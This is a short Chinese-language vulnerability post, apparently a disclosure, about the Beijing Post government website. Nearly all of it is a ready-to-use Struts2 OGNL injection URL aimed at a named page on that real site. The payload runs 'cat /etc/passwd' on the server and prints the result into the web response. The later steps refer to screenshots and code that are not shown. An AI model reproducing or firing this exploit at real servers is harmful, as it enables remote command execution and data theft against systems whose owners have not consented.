1.北京邮政官网
http://www.bjpost.gov.cn/
2.看地址命令执行
http://www.bjpost.gov.cn/PostOfficeAction!querybyxzq.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cat%27,%27/etc/passwd%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}
3.执行完毕,看图
4.看代码